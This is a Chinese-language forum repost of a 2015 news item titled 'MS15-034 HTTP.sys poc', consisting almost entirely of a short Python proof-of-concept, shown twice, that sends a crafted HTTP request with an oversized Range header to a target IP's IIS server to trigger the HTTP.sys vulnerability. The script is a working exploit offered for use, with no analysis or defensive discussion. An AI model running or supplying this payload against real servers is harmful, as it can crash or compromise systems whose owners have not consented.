-
-
MS15-034 HTTP.sys poc操作系统漏洞
-
发表于: 2015-7-10 01:15 1213
-
新闻链接:http://www.sitedirsec.com/exploit-1865.html
新闻时间:2015-4-17 14:04:51
新闻正文:#Tested on Win Srv 2012R2.
import socket,sys
if len(sys.argv)<=1:
sys.exit(''Give me an IP'')
Host = sys.argv[1]
def SendPayload(Payload, Host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host, 80))
s.send(Payload)
s.recv(1024)
s.close()
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
SendPayload(Init, Host)
SendPayload(Payload, Host)
新闻时间:2015-4-17 14:04:51
新闻正文:#Tested on Win Srv 2012R2.
import socket,sys
if len(sys.argv)<=1:
sys.exit(''Give me an IP'')
Host = sys.argv[1]
def SendPayload(Payload, Host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host, 80))
s.send(Payload)
s.recv(1024)
s.close()
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
SendPayload(Init, Host)
SendPayload(Payload, Host)
赞赏
看原图
赞赏
雪币:
留言: